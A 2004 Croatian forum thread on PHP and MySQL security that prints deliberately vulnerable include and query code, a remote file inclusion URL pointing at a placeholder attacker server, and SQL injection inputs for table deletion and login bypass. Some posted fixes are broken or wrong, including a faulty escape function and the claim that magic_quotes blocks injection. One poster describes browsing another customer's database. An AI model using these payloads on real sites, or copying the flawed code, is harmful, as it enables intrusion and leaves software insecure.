Forum FAQForum FAQSearchSearch MemberlistMemberlist Forum ignore listForum ignore list RegisterRegister ProfileProfile Log in to check your private messagesLog in to check your private messages Log inLog in
safe&cool
Goto page 1, 2  Next
 
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    mi3dot.org Forum Index -> Server-side
View previous topic :: View next topic  
Author Message
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 11.09.2004 22:23    Post subject: safe&cool Add user to your forum ignore list Reply with quote

radi se o sigurnost u php-u ... nemam iskustva na tom području pa me zanima kolko je to sve skupa sigurno (mySQL db) npr. za neki log in ili tako nešto, jel treba kaj dodatno ili je samo po sebi sigurno ....

dajte mi neki hint ili nešto Very Happy

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 11.09.2004 23:13    Post subject: Add user to your forum ignore list Reply with quote

sigurnost kakvog tipa?
hakerski upad?
Back to top
View user's profile Send private message
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 12.09.2004 00:19    Post subject: Add user to your forum ignore list Reply with quote

Pa što se samog php-a tiče, relativno je siguran. Sve ovisi o tvojoj snalažljivosti i idejama i načinima na koje ćeš zaštiti svoju aplikaciju.

Sam PHP izvorno nije siguran, jer ako možeš do servera, možeš i do PHP sourcea. Dakle, boljka je što ne postoji kompajler i kompajliranje skripti

Što se MySQL-a tiče, i on je relativno siguran. Bitno je kako ga podesiš, i kako radiš s njim. Moraš paziti na SQL injectione i zapravo si se osigurao.

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 12.09.2004 10:28    Post subject: Add user to your forum ignore list Reply with quote

maxy wrote:
sigurnost kakvog tipa?
hakerski upad?


ajmo reć hakerski Smile (ovisi tko što podrazumjeva pod tim...)- znaći da netko nema (i nesmije imat)pristup podacima... -> to je cilj Wink

@edgar:
"ako možeš do servera možeš i do sourca" kak to misliš, i moj browser može do servera Very Happy ili si to mislio kao ajmo reć neki admin Smile

pitanje je slijedeće, kako "unaprijedit" sigurnost?

tenks guys Smile

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 12.09.2004 10:54    Post subject: Add user to your forum ignore list Reply with quote

Ne kažem da može svak niti da je lako niti moguce uvijek, ali moguce je. Za zaštitu od toga može pomoći nekakav enkripter. Ako ti host ima instaliran Zend engine (svi skoro imaju) onda mozes koristit njihov enkripter. Plača se naravno.

To je to, a što se tiče ovih drugih stvari, nema tu puno filozofije. Moraš pazit da ti je zasticeno logiranje gdje treba bit, da ti nitko ne može u SQL bazu ubacit string koji bi mogao izmijenit podatke na njemu pozeljan nacin ili mu dati pristup podacima.

edity: 2 typos

Last edited by edgar on 12.09.2004 14:29; edited 1 time in total

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 12.09.2004 13:33    Post subject: Add user to your forum ignore list Reply with quote

ajmo o sikjuritiju Smile

recimo da imas dobrog sys admina koji ti kompletan server administrira i updatea da te ne zbombaju hakeri - imas sada ove probleme.

tvoj sajt se nalazi na hostu koji hosta dodatnih 2, 3 ili 50 sajtova.
gdje moze biti problem - ako nema upaljen open_basedir direktivu, ti mozes pristupati podacima od ostalih sajtova.
primjerice, takav je gamer gdje ako imas acc. onda mozes bez problema posnjofati druge direktorije (od drugih sajtova).

i gdje je tu problem - problem je slijedeci - makar ti ne mozes pisati i brisati po tudjem direktoriju mozes mu naci direktorij koji ima chmod 777. u tom direktoriju MOZES pisati. obicno su direktoriji u koje se uploadaju stvari preko web sucelja chmodani 777 (inace ne radi upload).
dakle, to je security rizik #1 i to je do tvog hosta.

security rizik #2 je lose napisana php aplikacija koja radi sa mysqlom.

evo primjer loseg koda:

<?php

$include = $_GET['include'];
include($include);

?>

index.php?include=vijesti.php

sto kaze da iz GET varijable pobere fajl koji da se includa.

ti mozes na to mjest dopisati: index.php?include=http://mojserver/haker.php
i namjestis server da ne parsa php kod sto znaci da ce tvoj php kod biti ukljucen u php kod na ovoj losoj skripti (zyt je upuceniji u ovo od mene).

SQL injection napad.

ima gomila dinamickih sajtova koji prikazuju podatke ovako:

index.php?procitaj_vijest=da&id=123

sad, oces id od vijesti - nista lakse:

Code:
$id = $_GET['id']; // koji je 123 i sada radsi query

$query = "SELECT * FROM moja_tablica WHERE id = '$id'";
mysql_query($query);


LOSE!
ostavio si si OGROMAN potencijal da ti netko pobrise sve podatke iz tablice. kako?
jednostavno:

covjek upise:

tvojserver.com/index.php?procitaj_vijest=da&id=';delete from tablica --

i ode tebi sve sto imas u tablici imena "tablica".
vise o SQL injectionu: http://66.102.9.104/search?q=cache:eVjQBqzJKdIJ:www.nextgenss.com/papers/advanced_sql_injection.pdf+sql+injection&hl=hr

dakle, php i mysql te integritet podataka su sigurni i ako je system admin odradio svoj posao dobro onda ce samo autorizirani korisnici moci vidjeti potrebne podatke.

ako si ti dobro pisao skriptu onda ti nitko nece moci prebrisati upload direktorij sa svojim fileovima ili ti obrisati bazu podataka.

ako se sjetim jos neceg budem dodao.
Back to top
View user's profile Send private message
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 12.09.2004 13:35    Post subject: Add user to your forum ignore list Reply with quote

edgar wrote:
Ne kažem da može svak niti da je lako niti moguce uvijek, ali moguce je. Za zaštitu od toga može pomoći nekakav enkripter. Ako ti host ima instaliran Zend engine (svi skoro imaju) onda mozes koristit njihov enkripter. Plača se naravno.


to je za kriptiranje php koda tako da netko cak niti php kod ne moze vidjeti te ga iskoristiti.
zar se to ne koristi kad das nekom klijentu php kod a on ti ne plati? pa mu das polovican kod i jos ga enkriptiras.
Back to top
View user's profile Send private message
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 12.09.2004 14:30    Post subject: Add user to your forum ignore list Reply with quote

Eto, Maxy ti je dao i odlične primjere.

maxy wrote:

to je za kriptiranje php koda tako da netko cak niti php kod ne moze vidjeti te ga iskoristiti.
zar se to ne koristi kad das nekom klijentu php kod a on ti ne plati? pa mu das polovican kod i jos ga enkriptiras.


Da .

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
che.UP
mi3.crew


Joined: 07 Sep 2003
Posts: 2320
Location: zagreb

PostPosted: 12.09.2004 16:13    Post subject: Add user to your forum ignore list Reply with quote

maxy wrote:


ti mozes na to mjest dopisati: index.php?include=http://mojserver/haker.php
i namjestis server da ne parsa php kod sto znaci da ce tvoj php kod biti ukljucen u php kod na ovoj losoj skripti (zyt je upuceniji u ovo od mene).


ovaj korak nije potreban, radi i sa obicnim txt fileom koji je u biti php :) jos lakse i jos ubojitije :)

_________________
UP | TypeTester | Accommodations App
Meni u Firefox-u ne radi AJAX
Back to top
View user's profile Send private message Visit poster's website
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 12.09.2004 17:09    Post subject: Add user to your forum ignore list Reply with quote

all,
tenkju veri mač Very Happy

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 12.09.2004 17:22    Post subject: Add user to your forum ignore list Reply with quote

che.UP wrote:
ovaj korak nije potreban, radi i sa obicnim txt fileom koji je u biti php Smile jos lakse i jos ubojitije Smile


mudar, mudar Smile
Back to top
View user's profile Send private message
Sulien



Joined: 04 Jan 2004
Posts: 2905
Location: Zagreb

PostPosted: 12.09.2004 18:12    Post subject: Add user to your forum ignore list Reply with quote

Maxy, potvrdio si sve moje sumnje... Oduvijek sam smatrao da se tako nešto može preko URL-a ako je netko neoprezan, i sad vidim ne da se samo i može, već je prilično opasno Smile

PITANJE: spominjete upad na server i čitanje izvornog php koda. Čuo sam da se to može napraviti bez nekakvog posebnog hakiranja, tj. da to više i nije nekakva mudrost. Dobro, možda još uvijek nitko ne može pisati i brisati po fajlovima na serveru, ali čovjek nađe dio koda koji je login za mySQL, i što onda? Bye bye tablice ili ?? Kolika je teoretska opasnost od toga?
Back to top
View user's profile Send private message Send e-mail Visit poster's website
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 12.09.2004 19:14    Post subject: Add user to your forum ignore list Reply with quote

vecina servera je podesena tako da se mysqlu moze pristupit iskljucivo sa localhosta, odnosno moze mu pristupiti skripta koja je fizicki na istom racunalu tako da ti username i password nece nesto previse pomoci ako ih se domognes.

najveca opasnost je lose strukturirana aplikacija a takav je npr. internet monitor koji ima SQL propust.

no, nije to jedina opasnost.
neki sajtovi (odnosno velik broj sajtova) je bolan na sql napad koji ne brise nista nego logira korisnika kao administratora Smile
kako - imas username i password field.
upises za username '' or 1=1 (sto ce dati true) i za password istu stvar i kada se izvrsi sql naredba koja glasi
SELECT * FROM users where username = '';or 1=1 AND password='' or 1=1;
to ce vratiti true jer je 1=1 i ekipa obicno gleda da li postoji 1 redak sa mysql_num_rows funkcijom koja ce u ovom slucaju vratit 1. i fk0rz, logira nepostojeceg korisnika.
ovo je grub primjer i ne radi (jer mi je query neispravan) no SQL napadi se ne moraju upotrijebiti iskljucivo za brisanje.

postoji jos jedna rupcaga koja natjera server da salje spam mail i tako si istrosi bandwith, no o tom necu sada jer niti sam ne znam na pamet kako to radi ali treba zapamtiti da na BILO koji podatak koji dolazi od korisnika treba upotrijebiti mysql_real_ecape_string i addslashes te removeslashes.
cak i na cookije jer se i u cookie moze pohraniti SQL napad Smile

btw. zaboravio sam napomenuti da su SQL napadi onemoguceni ukoliko je magic_quotes_gpc stavljen na ON.
Back to top
View user's profile Send private message
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 12.09.2004 19:20    Post subject: Add user to your forum ignore list Reply with quote

I napomena da je unatoč magic quotesu na on, potrebno paziti što i kako zapisuješ u sql bazu.

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 12.09.2004 20:10    Post subject: Add user to your forum ignore list Reply with quote

napomena: na microsoft SQL serveru je puno lakse obaviti SQL napad posto postoji nacin kako da dobijes listu imena tablica.
nekidan sam gledao hg-spotov web koji ne da ima rupu nego ima crnu rupetinu od mogucnosti za delete.

necu sad govorit kako da obrisete neciju bazu nego kako bi se trebalo osigurati od napada.

ako ne znate da li imate magic_quotes_gpc upaljene, onda iskoristite slijedecu funkciju

<?php

function escape_string(&$string) {
if(!get_magic_quotes_gpc) {
return addslashes($string);
} else {
return addslashes($string);
}
?>

vrlo vrlo jednostavna funkcija koju koristi dosta ljudi koja sve znakovne nizove escapea, odnosno pretvori jednostruke navodnike (') u '\

ako nekoga ovo zanima detaljnije - potrazite na www.sitepoint.com forumima vise o securityu php aplikacija i nacinima escapeanja stringova (ovaj nacin navodno nije po ANSI standardima, tako nesto sam procitao ali to je bilo davno i samo sam preletio preko teksta pa zato upucujem na opsirniji tekst).
Back to top
View user's profile Send private message
Phiber



Joined: 18 Apr 2004
Posts: 319
Location: Čakovec, Kroejša

PostPosted: 12.09.2004 22:49    Post subject: Add user to your forum ignore list Reply with quote

da se nadovezem na maxyev prijasnji post (negdje od pocetka),
ako koristis URL da ti includa neki file, mozes stavit switch case:

Code:

<?php
$file=$_GET['file'];

switch($file)
{
    case "kontakt":
        include ("kontakt.php");
        break;
    case "onama":
        include ("onama.php");
        break;
    case "baka":
        include ("baka.php");
        break;
    case "kontakt":
        include ("kontakt.php");
        break;
    default:
    include ("prva.php");
}
?>


znaci: imas url-ove: index.php?file=baka, index.php?file=onama.... itd., za svaki kojeg si definirao CASE, puknut ce ti sve pod tim kejsom do "break;". (DOH!) Smile
ako netko pozove index.php?file=auto, includat ce ti prva.php (default:)

ovo je najjednostavnije, po meni. nadam se da pomaze.

_________________
- Xatrix Security news portal -- redizajn napravljen, al radim css Smile
- - TIP / Rapid IT : web design & hosting -- za ovog ne, taj je u ladici Smile
Back to top
View user's profile Send private message Send e-mail Visit poster's website
silence



Joined: 24 Apr 2004
Posts: 890
Location: .....ni na nebu, ni na zemlji.....

PostPosted: 13.09.2004 10:14    Post subject: Add user to your forum ignore list Reply with quote

heh....kaj se tiče CHMOD 777.
sjećaš se one moje upload skripte koju ste komentirali?...no da, promjenio sam ju, ali i dalje rađe prčkam prilikom uploada sa FTP funkcijama, nego da ostavim ijedan 777.

oscommerce, koji sam vidio na dosta naših webova traži CHMOD 777 i to je bilo prvo kaj sam išo mjenjat kad smo dizali jedan demo oscommerce webshopa.

ak niš drugo, možeš promjenit CHMOD na 777 kad stavljaš nekaj u direktorij i onda ga vratit na 755 nakon kaj si obavio operaciju.

_________________
This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch").
Back to top
View user's profile Send private message Visit poster's website
silence



Joined: 24 Apr 2004
Posts: 890
Location: .....ni na nebu, ni na zemlji.....

PostPosted: 13.09.2004 10:22    Post subject: Add user to your forum ignore list Reply with quote

ne mora biti switch Razz

Code:

      if ( $_GET['spoji'] ){

          $index = $_GET['spoji'];

      } else {

          $index = 0;
      }
//array sa linkovima koji su mogući,
//definiranje $spoji varijable

$spoji = array ( "naslov",
                 "korisnici",
                 "lozinka",
                 "proizvodi",
                 "pregledSlika",
                 "slike",
                 "vijesti",
                 "upload" );
     
      include ( "include/".$spoji[$index].".php" );
     
      ?>


baš me zanimaju komentari na ovo.

_________________
This End-User License is an agreement between Microsoft Corporation (hereafter referred to as "Microsoft") and you, the end-user (hereafter referred to as "our bitch").
Back to top
View user's profile Send private message Visit poster's website
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 13.09.2004 12:17    Post subject: Add user to your forum ignore list Reply with quote

npr moraš pazit i na postavke php-a na serveru na koje vrtis svoj softver.

naime, cesto losiji hostovi ostave ukljucen register_globals (on), a to je velika sigurnosna rupa.

Evo baš sam frendu jutros stavljao jedan sajt online..i vidim da imaju register_globals = on i safe_mode = off, a i vidin da imaju ovakvu semantiku:
/nesto/<prvo slovo imena domene bez www/<ime domene bez www/public_html, e sad ja preko ssh-a ne mogu uc u kataloge drugih musterija, ali vidia sam da apache ne vozi sa suExec.. to jest svi procesi su od apache juzera.. od svih musterija.. to jest.. znaci da apache juzer moze ulaziti u njihov katalog...
drugim rijecima... rupetina! !
Iako ja ne mogu vidit sta pise u PHP-fajlovima drugih musterija, moze apache to jest php...
Evo sad sam vidio db juzer i pass od jedne musterije i malo pregledao mysq bazu podataka... sramota.

osim toga.. sav je kod izlozen tako da sad samo trebam trazit koje variable treba stavit pomocu $_GET requesta da bi mogao se autentificirat na bilo kojoj stranici...

Eto... mala andegdota.. pa zato samo pazi kod koga hostaš svoje stvari. Wink

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 17.09.2004 11:08    Post subject: Add user to your forum ignore list Reply with quote

još sam neš htio pitat Smile

što se tiče POST metode ona je sigurna??

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 17.09.2004 19:32    Post subject: Add user to your forum ignore list Reply with quote

ista stvar vrijedi i za post metodu - svaki korisnicki unos MORAS provjeriti, "ocistiti" te tek onda to pohranjivati ili vrsiti daljnji rad sa time.
Back to top
View user's profile Send private message
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 17.09.2004 19:43    Post subject: Add user to your forum ignore list Reply with quote

što se tiče hash funkcija? mhash (on nije integriran u php?)? addslashes koliko je dobar Smile ? i tako to Wink Smile

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
edgar



Joined: 28 Dec 2003
Posts: 916
Location: Pred monitorom

PostPosted: 17.09.2004 19:51    Post subject: Add user to your forum ignore list Reply with quote

Nema tu pitanja 'koliko je dobar?'. Ne možeš to pitati. To je isto kao da pitaš koliko je dobra funkcija sqrt(x) koja kvadrira broj. Ili radi ili ne radi:) ,ali nije 'dobra ili loša' jer zapravo ne radi ništa jako zahtjenvno.

Ovdje pričamo o funkciji koja parsa string i replace-a podatke. A to funkcija radi.. tako da... Wink

_________________
Digital Genetics | Koote | Nuspojava
Back to top
View user's profile Send private message Visit poster's website MSN Messenger
unique



Joined: 29 Mar 2004
Posts: 655

PostPosted: 17.09.2004 19:58    Post subject: Add user to your forum ignore list Reply with quote

edgar wrote:
Ovdje pričamo o funkciji koja parsa string i replace-a podatke.

pa zato i pitam, to je nekako pre jednostavno Smile pa me zanima koji su neki drugi načini or something Smile

sqrt vadi korijen ? Wink Smile

_________________
Activate interlock! Dynotherms connected! Infracells up! Mega thrusters are go! LET'S GO VOLTRON FORCE!
Back to top
View user's profile Send private message
maxy



Joined: 07 Sep 2003
Posts: 894
Location: Zagreb

PostPosted: 17.09.2004 21:39    Post subject: Add user to your forum ignore list Reply with quote

unique wrote:
što se tiče hash funkcija? mhash (on nije integriran u php?)? addslashes koliko je dobar Smile ? i tako to Wink Smile


a sto zelis postici s time?

Quote:

Returns a string with backslashes before characters that need to be quoted in database queries etc. These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).


pogledas u manual sto radi funkcija i zasto.

poanta je sljedeca: escapeaj svaki korisnicki unost, bilo da on upise nesto u URL, bilo da salje nesto preko forme ili bilo da dobijas neke podatke od korisnikovog cookia.

reci mi koji ti je cilj sa ovim security pitanjima tako da ti damo dat konkretan odgovor na ono sto te doista muci.
Back to top
View user's profile Send private message
Display posts from previous:   
This forum is locked: you cannot post, reply to, or edit topics.   This topic is locked: you cannot edit posts or make replies.    mi3dot.org Forum Index -> Server-side All times are GMT + 1 Hour
Goto page 1, 2  Next
Page 1 of 2

 
Jump to:  
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum


Powered by phpBB © 2001, 2005 phpBB Group